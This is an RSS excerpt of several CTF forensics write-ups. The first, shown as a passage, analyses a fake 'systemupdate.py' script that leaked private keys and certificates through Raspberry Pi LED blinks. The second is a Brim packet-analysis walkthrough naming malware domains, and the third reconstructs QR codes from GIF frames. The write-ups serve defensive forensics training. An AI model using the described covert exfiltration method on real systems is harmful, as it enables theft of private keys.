blinking, then it stops. Consequently, we can already suppose that the suspicious activity happened.</p><p>Knowing that, lest’s focus our investigation during the following time range :</p><p>·<strong> Start at 17:31:50</strong></p><p><strong>· End at 18:19:28</strong></p><p>As we have a better idea of the timeline, we can move on to the <strong><em>logs analysis</em></strong>.</p><p>On Linux machines, we can find logs file in «<strong> /var/log </strong>» folder. Most Digital Forensic Specialists start their analysis from the « <strong>syslog</strong> » when analyzing Linux events. When we checked this log, we found the suspicious activity at 17 :32 :01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*kWZnXeoZIyTgWX6JW47q6w.png" /></figure><p>At that point, we know that someone with <strong>root privileges</strong> ran a Python script (<strong>systemupdate.py</strong>) and sent the output to the <strong>output.txt</strong> file located at the <strong>/tmp/</strong> folder.</p><p>The next step is to investigate those two files: systemupdate.py and output.txt.</p><p>When we checked the /tmp/ folder, we realized there was nothing there. The folder is empty. Indeed, to increase the difficulty of this challenge, they deleted this file.</p><p>Let’s investigate the Python script =&gt; <strong>systemupdate.py</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*mrPvlPHcShm6bZyUdUPlGg.png" /></figure><p>This is an interesting script. However, this <strong>is not a system update script </strong>(as the name of the file mentioned)<strong> </strong>but more likely a malicious script.</p><p>What does the script do?</p><p>1 — It looks in the /home directory if there is any file containing the extension <strong>.key</strong> or <strong>.crt</strong>.</p><p>2 — If file found: read the information and translate it to binary format.</p><p>3 — If the bit is 0, don’t do anything. If the bit is equal to 1, turn the green light ON.</p><p>At this stage, we know what happened when they ran this command and script :</p><p>· It will change the lights of the Raspberry PI</p><p>· It will save the output in a text file.</p><p>As the challenge wants to know what kind of information the suspect extracted, the first step is to go to the <strong>home</strong> folder and check if there is any file with the extension “<strong>.key</strong>” or “<strong>.crt</strong>”.</p><p>If we go to the <strong>home</strong> folder, we find two files (with the same extension .key and .cart).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*Zkc5y5OYffdUImZw37-X6A.png" /></figure><p>BAD NEWS! They redacted those files. See prints below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*w76_348J5OEzH6GgyyfavA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*JF7iIzNtesvFU85EggbuMw.png" /></figure><p>Now, we have an idea of what kind of information they extracted: a private key and a certificate.</p><p>At that point, we have just one way to retrieve back the content of those files. We will need to use the video and the sequence of bits generated by the blinking of the lights.</p><p>As you can imagine, we won’t spend one hour trying to write bit by bit manually. Instead, we will automate this process. We will create a Python script that will be able to do video analysis to identify when the colors change.</p><p>To do video analysis, we will use a Python library called <a href="https://opencv.org/"><strong>OpenCV</strong>.</a> For those not familiar with OpenCV, this library process images, detects objects, colors, formats, etc. This library is widely used in the AI field.</p><p>The final script looks like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*IXbeA05GpkxQ1FsslshSmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*VbLgu9GIXxA-VHCE2dI8BA.png" /></figure><p><a href="https://github.com/dropn0w/Write-Ups/blob/main/CTF/Insomnihack/ExPiltration/script.py">FIND THE FULL SCRIPT ON MY GITHUB</a></p><ul><li><strong><em>** If you want to speed up the video analysis process, you can speed up the video by 300%. ***</em></strong></li></ul><p>If we run this script you will see the following screen :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*kx3KOCP7dN9xlh3BrCdyyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*eFKc6mxr3lmu2Sny5bLoPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*Qcyxtqm-ghuU27xD0VN-uQ.png" /></figure><p>The right circle represents the red light. If you see a white color inside the circle, it means that the red light is ON. If the inside of the circle is black, it means that the light is OFF. The same logic applies to the left circle, but this time for the green light.</p><p>After running the script, two new files has been created :</p><p>· <strong>malicious_output.txt </strong>is the same file that the malicious actor extracted from the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*GiGW47y07dAbJQuC2p8InA.png" /></figure><p>· <strong>content_decoded.txt</strong> is the actual content of the files (<em>private.key</em> and <em>root-ca.crt</em>) that the malicious actor had been extracted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*2641IfvYpViVAfcNk4oPcw.png" /></figure><p>Knowing that we have the content of the files, we can extract the information and recreate the original files.</p><p>The private key doesn’t give us a lot of information. However, there is a way to extract some information from the certificate using <strong>OpenSSL</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*82BpiyrwdcFi52QxkBL1iQ.png" /></figure><p>We finally found the flag that we were looking for.</p><p><strong>FLAG:</strong></p><pre>INS{F4rFr0m$p33d0fL1ght}</pre><h3>CONCLUSION:</h3><p>It has been a really great challenge where we needed to combine different knowledge together in order to find the flag.</p><p>I would like to thank <a href="https://twitter.com/sh4na">shana</a> for her help during this challenge. It was really fun!</p><p>I would say that it didn’t take much time to understand the challenge itself. However, it took a bit longer to have a Python script working properly.</p><p>I hope that my write-up helped you to understand better all the aspects of this CTF. If you want to read more writeups like this one or have any questions, you can find me on Twitter <a href="http://twitter.com/dropn0w">@dropn0w</a>.</p><p>Stay curious and keep learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e4044746efe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Masterminds — Beginner Friendly (detailed)]]></title>
            <link>https://dropn0w.medium.com/tryhackme-masterminds-beginner-friendly-detailed-39aa21b969dc?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/39aa21b969dc</guid>
            <category><![CDATA[network-forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[digital-forensic-tools]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Sat, 09 Oct 2021 14:28:42 GMT</pubDate>
            <atom:updated>2021-10-09T14:28:42.890Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Masterminds — Beginner Friendly (detailed)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*mQ4GyIJk5QxNOBtahLzDwA.png" /></figure><p><strong>PLATFORM:</strong> TryHackMe</p><p><strong>LINK ROOM</strong>: <a href="https://tryhackme.com/room/mastermindsxlq">https://tryhackme.com/room/mastermindsxlq</a></p><p><strong>DIFFICULTY</strong>: Medium</p><p><strong>CATEGORY</strong>: Network Forensics</p><p><strong>TOOLS USED</strong>: Brim</p><h3>INTRODUCTION:</h3><p>Today let’s learn something new. Let’s do Network Forensics but this time not using Wireshark but <strong>Brim</strong>.</p><p>But first, what is <strong>Brim</strong>? Here is a little description that I found on their <a href="https://github.com/brimdata/brim">GitHub Page</a>.</p><p>“Brim is an open-source desktop application for security and network specialists. Brim makes it easy to search and analyze data from:</p><p>· packet captures, like those created by <a href="https://www.wireshark.org/">Wireshark</a>, and</p><p>· structured logs, especially from the <a href="https://www.zeek.org/">Zeek</a> network analysis framework.</p><p>Brim is especially useful to security and network operators that need to handle large packet captures, especially those that are cumbersome for Wireshark, tshark, or other packet analyzers.“</p><p>Before we start the walkthrough: If it is your first time using Brim (as it was for me when I started this challenge) <strong>I HIGHLY recommend watching this video:</strong></p><p>Brim YouTube video demo: <a href="https://www.youtube.com/watch?v=InT-7WZ5Y2Y">https://www.youtube.com/watch?v=InT-7WZ5Y2Y</a></p><p><strong>Note</strong>: My goal here is to give you a detailed walkthrough on how you can use Brim to do Network Forensics. It was my first time using Brim, so if you find a better way to write some queries, feel free to share in the comments 😊</p><p>Let’s dive into the analysis!</p><h3>INFECTION 1:</h3><p><strong>Start by loading the Infection1 packet capture in Brim to investigate the compromise event for the first machine.</strong></p><p>On the Desktop of the Virtual Machine, you will find the Brim’s shortcut and the PCAPs folder.</p><p>Open the Brim program and load the <strong>Infection1.pcap</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*zji6RVjZKOd1kFX9vXWbvA.png" /></figure><p>As soon you open this first <strong>.pcap</strong> file you will have this screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*hkQpOlhpc-RQm6W0nibwaw.png" /></figure><p>If you have already used Wireshark in the past you will be familiar with this kind of view.</p><p>Now let’s answer the questions:</p><p><strong>Provide the victim’s IP address.</strong></p><p>This one is quite easy because there is only <strong>one IP Source in the .pcap file</strong>.</p><p>You can see the “origin” or the “resp” IP by putting your mouse on the IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/118/1*x1W3dCwrfucBszo2OXABqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/115/1*b1LATdKZ2nfvNd77cBl5zA.png" /></figure><p>Good, we found the first answer. Let’s move to the second question of this section.</p><p><strong>The victim attempted to make HTTP connections to two suspicious domains with the status ‘404 Not Found’. Provide the hosts/domains requested.</strong></p><p>Ok, here we will need to play with filters, right? If you watched the demo video (check in the introduction of this writeup), you know that we can filter the things that we want to investigate such as protocols, IPs, and so on.</p><p>At this stage, we know the victim’s IP address. So let’s filter this IP.</p><p>Right-click on the IP that you need to filter then click on “<strong>Filter = value</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*3wj7m_wOJmqKQuV1IgOfUA.png" /></figure><p>As soon you click on “Filter = value” the right syntax will appear on the search bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*UgX5ap5ZWawUdU_GDuFEGw.png" /></figure><p>Good! Now we know that we need to find all the HTTP connections. As we did for the IP of the victim, let’s do the same with “HTTP” protocol. Go to HTTP then right-click, then click on “<strong>Filter = value</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*_IpjMG1gDcI_rrQmI02Hgw.png" /></figure><p>Now you have two filters. The IP <strong>AND</strong> the HTTP protocol. Just for your information: Brim uses by default the “<strong>AND</strong>” logic in its Boolean search. As consequence, you will only see results that contain both filters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*bA1MH9Wt6ImwNw4wPEBjWg.png" /></figure><p>So far so good! Now let’s filter only the HTTP requests which status are ‘<strong>404 Not Found</strong>’.</p><p>In Brim, if you scroll to the right side, you will see a column “<strong>status_code</strong>”. There you can filter to only see the 404 status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*8x1Y1_7pXjFT-e8yHyNlLA.png" /></figure><p>In the end your query will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*hLoDa_4YSP1zrE2mJHDeCQ.png" /></figure><p>Now you will have only 2 GET requests. In the column “<strong>host</strong>” you will find the two suspicious domains with the status “404 Not Found’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*_D3m961MZGLjc8thrI_VQw.png" /></figure><p><strong>The victim made a successful HTTP connection to one of the domains and received the response_body_len of 1,309 (uncompressed content size of the data transferred from the server). Provide the domain and the destination IP address.</strong></p><p>Ok to answer this question, we need to filter 3 things, right? (The IP of the victim, http request 200 and the reponse_body_len 1309)</p><p>Let’s build our query:</p><p>id.orig_h==192.168.75.249 _path==”http” response_body_len==1309</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*-Wbf74OtPp--v-kbq7UQqA.png" /></figure><p>Perfect, we have only one result. We just found the domain and the destination IP address.</p><p><strong>How many unique DNS requests were made to cab[.]myfkn[.]com domain (including the capitalized domain)?</strong></p><p>If you are familiar with SQL query you know that when we talk about “how many” we are talking about the count() function, right?</p><p>The question also says that there is maybe different ways that the domain is written. So I created this query:</p><p>id.orig_h==IPofthevictim _path==”dns” query==”CAB.MYFKN.COM” or query==”cap.myfkn.com” | count() by query</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*zIntvVmTtrwt1fNbK4tZqA.png" /></figure><p>Good, we found the number of unique DNS requests.</p><p><strong>Provide the URI of the domain bhaktivrind[.]com that the victim reached out over HTTP.</strong></p><p>I think here you understood the logic, right? Filter by IP of the victim, the protocol (HTTP) and the host name (bhaktivrind[.]com)</p><p>id.orig_h==IPofthevictim _path==”http” host==”<strong>bhaktivrind.com”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*q64aalm7NcsNJLrMp3Q-Tw.png" /></figure><p><strong>Provide the IP address of the malicious server and the executable that the victim downloaded from the server</strong>.</p><p>So here we are talking about a “.exe” file that the victim downloaded. As we are talking about “download”, the victim probably used the web browser to do a http request. In this case, we will need to filter all the http requests.</p><p>We don’t know the name of the executable but we know how an exactable file ends right ? (hint: <strong>.exe</strong>).</p><p>So maybe we can try to create a query only looking for “<strong>uri</strong>” matching with the word “.exe”. The query looks like this:</p><p>id.orig_h==IPofthevictim _path==”http” uri matches *.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*RuXfghCz8KLZ3hU1sdsUzA.png" /></figure><p>If you are not familiar with the syntax, I advise you to look in the “Syntax docs”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*aHVqJmiXCS8Q7Myt7P7RKg.png" /></figure><p><a href="https://github.com/brimdata/zed/tree/main/docs/language/search-syntax#containment">zed/docs/language/search-syntax at main · brimdata/zed</a></p><p><strong>Based on the information gathered from the second question, provide the name of the malware using </strong><a href="https://www.virustotal.com/gui/home/upload"><strong>VirusTotal</strong></a><strong>.</strong></p><p>A bit tricky this question, I didn’t find the answer in the VirusTotal website. However, as the hint talks about the community, I did a google search:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*1pRIcdzb-gi83kxQAvA-Ww.png" /></figure><p>On the second page that I found on google (<a href="https://bazaar.abuse.ch/sample/a2d525c9bd8128160c64990fa84afc4da2bea8a72cfb4ca42f14cddac1343df2/">https://bazaar.abuse.ch/sample/a2d525c9bd8128160c64990fa84afc4da2bea8a72cfb4ca42f14cddac1343df2/</a>) I found the name of the Malware:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*UYz2VD8RfjuCXQ64Ccq68g.png" /></figure><p>Good we just finished Infection 1. Let’s move now to Infection 2:</p><h3>INFECTION 2:</h3><p><strong>Provide the IP address of the victim machine.</strong></p><p>First let’s open the second .pcap file (Infection2.pcap)</p><p>As we are trying to find the victim machine IP address, try to look for “id.orig_h”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*YxVbteUxJ19VrAmCL4MfPQ.png" /></figure><p>Ok, now we know the victim&#39;s IP address.</p><p><strong>Provide the IP address the victim made the POST connections to.</strong></p><p>As the question talks about POST connections, we can say that we will work with HTTP protocol, right? Let’s first filter all the HTTP trafic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*gpM1QowhqYI9ab33TiDO4A.png" /></figure><p>Ok, now we can add to our query the method POST.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*RAQUlQb4ePiOpsZPSCJI3g.png" /></figure><p>Perfect, we just found the IP address that the victim made the POST connections.</p><p><strong>How many POST connections were made to the IP address in the previous question?</strong></p><p>Ok, this is an easy one :p Just count the number of POST requests you found in the last question.</p><p><strong>Provide the domain where the binary was downloaded from.</strong></p><p>Ok, if you have some web basics, you know that every time that you download something you do a GET request, right? So, in this case, we just need to change a bit our query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*8UccSL96uhmXe4rrkOx8vA.png" /></figure><p>EZ PZ !</p><p><strong>Provide the name of the binary including the full URI.</strong></p><p>If you have found the previous answer then you have also found the answer for this question :)</p><p><strong>Provide the IP address of the domain that hosts the binary.</strong></p><p>If you have found the previous answer then you have also found the answer for this question :)</p><p><strong>There were 2 Suricata “A Network Trojan was detected” alerts. What were the source and destination IP addresses?</strong></p><p>To answer this question, I first looked at all the columns that Brim has. I found an interesting one: <strong>alert.signature.</strong></p><p>I filtered this column with the alert message: “A Network Trojan was detected”</p><p>alert.signature==”A Network Trojan was detected”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*KazZQlbdNhGwNZtZHulRNw.png" /></figure><p>Perfect! We just found the source and the destination IP addresses.</p><p><strong>Taking a look at .top domain in HTTP requests, provide the name of the stealer (Trojan that gathers information from a system) involved in this packet capture using </strong><a href="https://urlhaus.abuse.ch/"><strong>URLhaus Database</strong></a><strong>.</strong></p><p>Ok, let’s first filter all the HTTP trafic and search for hosts containing the word “.top”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*nq-x0SKiK37idVPbJ7NlLA.png" /></figure><p>Great, we have the domain name. Let’s find the name of the stealer. Go to <a href="https://urlhaus.abuse.ch/">https://urlhaus.abuse.ch/</a> click on “URLaus Database” and past the domain name that you found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*OHXV4VGDRNvx0H-scgjPWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*u1azx34VnPiWDLjgAfaRJg.png" /></figure><p>If you struggle to find the name of the trojan, here is my hint: check the “tags” 😊</p><p>Amazing! We just finished the second Infection. Let’s move to the last Infection (Infection 3).</p><h3>INFECTION 3:</h3><p><strong>Provide the IP address of the victim machine.</strong></p><p>I think you know how to find it right? (hint: id.orig_h)</p><p><strong>Provide three C2 domains from which the binaries were downloaded (starting from the earliest to the latest in the timestamp)</strong></p><p>Here we are talking about downloads. So it will be something related to “HTTP” and “GET” requests right? Let’s start filtering by those criteria (IP of the victim, HTTP protocol, and GET requests).</p><p>id.orig_h==IPVICTIM _path==”http” method==”GET”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*OsoAU4d3AcwcgdSxU_CPcA.png" /></figure><p>Good! We have found all the domains (column “host”). Now you need to put them in the right order according to the timestamps (ts column)</p><p><strong>Provide the IP addresses for all three domains in the previous question.</strong></p><p>This one is easy because you found already the answer in the previous question. You can find the IPs in the “id.resp_h” column.</p><p><strong>How many unique DNS queries were made to the domain associated with the first IP address from the previous answer?</strong></p><p>Ok… first we need to figure out the domain of the first IP. This we have already found in the previous question.</p><p>Let’s filter only with this domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*a6HzV9W5iAHbXRWbOokPgA.png" /></figure><p>Hmm… there is no DNS here. I struggled a lot here… I didn’t find this answer only using BRIM so I tried several numbers and I found the answer. Sorry for that one ☹</p><p><strong>How many binaries were downloaded from the above domain in total?</strong></p><p>In the previous question, we used the name of the domain to see all the interactions with the domain. We can see that the user downloaded some files. Just count the amount of .exe files and you will have the right number of binaries that the user downloaded.</p><p><strong>Provided the user-agent listed to download the binaries.</strong></p><p>This one is easy 😊 Check the “<strong>user_agent</strong>” column.</p><p><strong>Provide the amount of DNS connections made in total for this packet capture.</strong></p><p>Normally here you are familiar with the <strong>count()</strong> function, right? Let’s count() all the DNS connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*_GEFGOuFYH3TszJZC5km3A.png" /></figure><p><strong>With some OSINT skills, provide the name of the worm using the first domain you have managed to collect from Question 2. (Please use quotation marks for Google searches, don’t use .ru in your search, and DO NOT interact with the domain directly).</strong></p><p>Easy one, just google it 😎</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*7uKKEGI9Xod61-aw7Xjs4A.png" /></figure><h3>CONCLUSION:</h3><p>The first thing that I need to say… this room is super cool! I learned a lot of things here.</p><p>I was always struggling with Wireshark and packet analysis challenges. With Brim, my fear is gone. It was super easy to create queries and find the right information. Brim is a game-changer in my opinion.</p><p>From now, I will try to use Brim in all packet analysis challenges.</p><p>Big thanks to<strong> heaveraiza</strong> and <strong>RussianPanda</strong> for creating this room. Great job guys!</p><p>Here are some resources that I used to solve all the challenges:</p><p><strong>Brim Website</strong>:</p><p><a href="https://www.brimdata.io/">Brim</a></p><p><strong>Just to have an idea what Brim can do:</strong></p><p><a href="https://www.linkedin.com/pulse/brim-network-forensic-tool-harinder-seera/">Brim - A Network Forensic Tool</a></p><p><strong>Brim GitHub:</strong></p><p><a href="https://github.com/brimdata/brim">GitHub - brimdata/brim: Desktop application to efficiently search and analyze super-structured data. Powered by Zed.</a></p><p><strong>Brim YouTube video demo:</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FInT-7WZ5Y2Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DInT-7WZ5Y2Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FInT-7WZ5Y2Y%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f28b47b7aaaa94023b831b3509a4643a/href">https://medium.com/media/f28b47b7aaaa94023b831b3509a4643a/href</a></iframe><p>I hope that my writeup helped you to understand better all the aspects of this CTF. If you want to read more writeups like this one or have any questions, you can find me on Twitter <a href="http://twitter.com/dropn0w">@dropn0w</a>.</p><p>Stay curious and keep learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39aa21b969dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to pronounce GIF — DownUnderCTF 2021]]></title>
            <link>https://dropn0w.medium.com/how-to-pronounce-gif-downunderctf-2021-d219ea852721?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/d219ea852721</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Sun, 26 Sep 2021 14:52:08 GMT</pubDate>
            <atom:updated>2021-09-26T14:52:08.133Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How to pronounce GIF — DownUnderCTF 2021</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*aePJlUAqm83jXkmWfiIF3A.png" /></figure><p><strong>CTF EVENT : DownUnderCTF 2021</strong></p><p><strong>DIFFICULTY:</strong> Easy</p><p><strong>CATEGORY:</strong> FORENSICS</p><p><strong>POINTS:</strong> 100</p><h3>CHALLENGE:</h3><p><strong>Our machine that makes QR Codes started playing up then it just said “PC LOAD LETTER” and died. This is all we could recover…</strong></p><p><strong>Author: xXl33t_h@x0rXx</strong></p><p><strong>Download: </strong>challenge.gif</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*bHRuJk99S9Rm7EYGz03MVA.gif" /></figure><p>We can see this is a QR challenge so we will need to reconstruct the QR in order to read it.</p><p>This is a GIF so we can separate all the frames. However, we can already see that there are multiples QR codes on this GIF. Let’s verify it.</p><p>I verified this hypothesis with the website <a href="https://ezgif.com/">https://ezgif.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*StipWFMgSnexwM8Rd7cEbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*w3EYhd_j5-COJ4xRZu3dmA.png" /></figure><p>We just confirmed the hypothesis of multiple QR codes. Moreover, we have a clear view that each QR code has a different color. We can also see that each QR code is separated by 10 frames.</p><p>As consequence, in order to recreate the QR codes, we will need to put append frame1 with frame11 then with frame21, and so on.</p><p>Let’s use <strong>ImageMagick</strong> in order to split the frames and put everything together.</p><p>First I created folder “<strong>frames</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*zLwP9p2FTWkWHjG2OujiLA.png" /></figure><p>Then I run this command to separate all the frames:</p><pre>convert challenge.gif frames/frame.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*TBAGheN3rKo3LG9CZgWAQw.png" /></figure><p>Now I can run this command to recreate each QR code:</p><p><strong>QR code1:</strong></p><pre>convert frames/frame-0.png frames/frame-10.png frames/frame-20.png frames/frame-30.png frames/frame-40.png frames/frame-50.png frames/frame-60.png frames/frame-70.png frames/frame-80.png frames/frame-90.png frames/frame-100.png frames/frame-110.png -append QRcode1.png</pre><p><strong>QR code2:</strong></p><pre>convert frames/frame-1.png frames/frame-11.png frames/frame-21.png frames/frame-31.png frames/frame-41.png frames/frame-51.png frames/frame-61.png frames/frame-71.png frames/frame-81.png frames/frame-91.png frames/frame-101.png frames/frame-111.png -append QRcode2.png</pre><p><strong>QR code3:</strong></p><pre>convert frames/frame-2.png frames/frame-12.png frames/frame-22.png frames/frame-32.png frames/frame-42.png frames/frame-52.png frames/frame-62.png frames/frame-72.png frames/frame-82.png frames/frame-92.png frames/frame-102.png frames/frame-112.png -append QRcode3.png</pre><p><strong>QR code4:</strong></p><pre>convert frames/frame-3.png frames/frame-13.png frames/frame-23.png frames/frame-33.png frames/frame-43.png frames/frame-53.png frames/frame-63.png frames/frame-73.png frames/frame-83.png frames/frame-93.png frames/frame-103.png frames/frame-113.png -append QRcode4.png</pre><p><strong>QR code5:</strong></p><pre>convert frames/frame-4.png frames/frame-14.png frames/frame-24.png frames/frame-34.png frames/frame-44.png frames/frame-54.png frames/frame-64.png frames/frame-74.png frames/frame-84.png frames/frame-94.png frames/frame-104.png frames/frame-114.png -append QRcode5.png</pre><p><strong>QR code6:</strong></p><pre>convert frames/frame-5.png frames/frame-15.png frames/frame-25.png frames/frame-35.png frames/frame-45.png frames/frame-55.png frames/frame-65.png frames/frame-75.png frames/frame-85.png frames/frame-95.png frames/frame-105.png frames/frame-115.png -append QRcode6.png</pre><p><strong>QR code7:</strong></p><pre>convert frames/frame-6.png frames/frame-16.png frames/frame-26.png frames/frame-36.png frames/frame-46.png frames/frame-56.png frames/frame-66.png frames/frame-76.png frames/frame-86.png frames/frame-96.png frames/frame-106.png frames/frame-116.png -append QRcode7.png</pre><p><strong>QR code8:</strong></p><pre>convert frames/frame-7.png frames/frame-17.png frames/frame-27.png frames/frame-37.png frames/frame-47.png frames/frame-57.png frames/frame-67.png frames/frame-77.png frames/frame-87.png frames/frame-97.png frames/frame-107.png frames/frame-117.png -append QRcode8.png</pre><p><strong>QR code9:</strong></p><pre>convert frames/frame-8.png frames/frame-18.png frames/frame-28.png frames/frame-38.png frames/frame-48.png frames/frame-58.png frames/frame-68.png frames/frame-78.png frames/frame-88.png frames/frame-98.png frames/frame-108.png frames/frame-118.png -append QRcode9.png</pre><p><strong>QR Code10:</strong></p><pre>convert frames/frame-9.png frames/frame-19.png frames/frame-29.png frames/frame-39.png frames/frame-49.png frames/frame-59.png frames/frame-69.png frames/frame-79.png frames/frame-89.png frames/frame-99.png frames/frame-109.png frames/frame-119.png -append QRcode10.png</pre><p>Good right now we have all the QR codes and we can see their content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*DRftiWW8UByv1g6L0Xp0AA.png" /></figure><p>In order to read the QR codes I will use <strong>zbarimg.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*G_TuwjuvFXvBlWGuY55jtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*Sq4REW-cqv5a9JXdrc4A0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*bTNoleY3SEonnQ-fNWVkpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*7ZhIrlwi2QomyxGOhx5-lw.png" /></figure><p>Ok, here we have a link. However, we can not find anything on this YouTube page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*5E9AlVwihELAETKyFHG1xQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*dLLKQ4OuQsML37VonmStHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/201/1*gBGCgVSsmRKwUgvko_Dy_A.png" /></figure><p>Nothing interesting so far…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*lmzGRBa9fAkxg3zWJ_mHxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/212/1*gtw6Bu2kx3Q9jRDSjFo72w.png" /></figure><p>Another link, let’s check it. This is another video. They are trolling us haha</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*RlXbHMphQdwiBnYqa3-xPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*ilGGKXRAYkNfnxv0F3ekYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/206/1*A6GK37eZhZ8rp9fem_Knbw.png" /></figure><p>Nothing here. Let’s continue…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*PFnZx8rooLgSdpNv2uGGoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/201/1*ZECT5cIIwxCdeIGI78j3LA.png" /></figure><p>This code is weird (RFVDVEZ7YU1). It doesn’t make any sense. Let’s continue…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*smack7yfiAWw33z57qssPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/194/1*LE0zY8L-FCR6XwFhWZ3SRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*Zxhc9ZOmX5PfmVlXZo4uhQ.png" /></figure><p>Nothing interesting here…</p><figure><img alt="" 